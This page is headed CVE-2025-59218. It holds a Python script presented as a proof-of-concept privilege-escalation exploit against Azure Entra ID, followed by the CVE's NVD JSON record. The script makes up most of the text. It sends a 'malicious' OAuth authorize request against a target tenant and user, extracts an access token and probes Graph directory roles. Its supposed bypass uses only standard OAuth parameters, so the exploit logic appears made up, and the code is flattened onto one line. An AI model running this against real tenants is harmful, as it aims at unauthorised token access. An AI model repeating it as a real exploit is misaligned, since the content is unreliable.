CVE-2025-59218

# CVE-2025-59218 - Azure Entra ID Elevation of Privilege # Conceptual Proof of Concept # WARNING: This is for educational and authorized testing purposes only import requests import json import uuid class EntraIDExploit: """ Conceptual PoC for CVE-2025-59218 Azure Entra ID Elevation of Privilege Vulnerability """ def __init__(self, tenant_id, target_user): self.tenant_id = tenant_id self.target_user = target_user self.base_url = "https://login.microsoftonline.com" self.graph_url = "https://graph.microsoft.com" self.session = requests.Session() def craft_malicious_request(self): """ Craft a malicious authentication request that exploits the privilege escalation vulnerability in token validation """ # Generate unique session identifier session_id = str(uuid.uuid4()) # Construct malicious payload targeting the vulnerable endpoint payload = { "client_id": "00000003-0000-0000-c000-000000000000", # Graph API "response_type": "token", "redirect_uri": "http://localhost/malicious-app", "scope": "https://graph.microsoft.com/.default", "state": session_id, # Exploit parameter - crafted to bypass permission checks "prompt": "admin_consent", "login_hint": self.target_user } return payload def send_exploit_request(self, payload): """ Send the crafted request to the vulnerable Entra ID endpoint """ auth_url = f"{self.base_url}/{self.tenant_id}/oauth2/v2.0/authorize" try: response = self.session.get( auth_url, params=payload, allow_redirects=False ) # Check for successful exploitation indicators if response.status_code in [302, 200]: print(f"[+] Exploit request sent successfully") print(f"[+] Response code: {response.status_code}") # Extract tokens from redirect location if 'Location' in response.headers: location = response.headers['Location'] if 'access_token' in location: print(f"[+] Token obtained - privilege escalation successful") return self.parse_token(location) return None except Exception as e: print(f"[-] Error: {e}") return None def parse_token(self, redirect_url): """ Parse the access token from the redirect URL """ from urllib.parse import urlparse, parse_qs parsed = urlparse(redirect_url) fragment = parsed.fragment params = parse_qs(fragment) if 'access_token' in params: return params['access_token'][0] return None def verify_privilege_escalation(self, token): """ Verify the escalated privileges by querying Graph API """ headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Attempt to list directory roles (requires high privileges) response = self.session.get( f"{self.graph_url}/v1.0/directoryRoles", headers=headers ) if response.status_code == 200: roles = response.json() print(f"[+] Directory roles accessible: {len(roles.get('value', []))}") return True return False def main(): # Configuration TENANT_ID = "target-tenant-id" TARGET_USER = "[email protected]" print("=" * 60) print("CVE-2025-59218 - Azure Entra ID Privilege Escalation PoC") print("=" * 60) print("[!] For authorized security testing only") print() exploit = EntraIDExploit(TENANT_ID, TARGET_USER) # Step 1: Craft malicious request print("[*] Step 1: Crafting malicious authentication request...") payload = exploit.craft_malicious_request() # Step 2: Send exploit request print("[*] Step 2: Sending exploit request to Entra ID...") token = exploit.send_exploit_request(payload) if token: # Step 3: Verify privilege escalation print("[*] Step 3: Verifying privilege escalation...") if exploit.verify_privilege_escalation(token): print("[+] Privilege escalation confirmed!") else: print("[-] Could not verify escalated privileges") else: print("[-] Exploit failed - target may be patched") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-59218", "sourceIdentifier": "[email protected]", "published": "2025-10-09T21:15:38.093", "lastModified": "2025-10-16T20:50:55.807", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "Azure Entra ID Elevation of Privilege Vulnerability"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:entra_id:-:*:*:*:*:*:*:*", "matchCriteriaId": "D09E509F-AFF3-4991-877A-D197388E7AD4"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59218", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}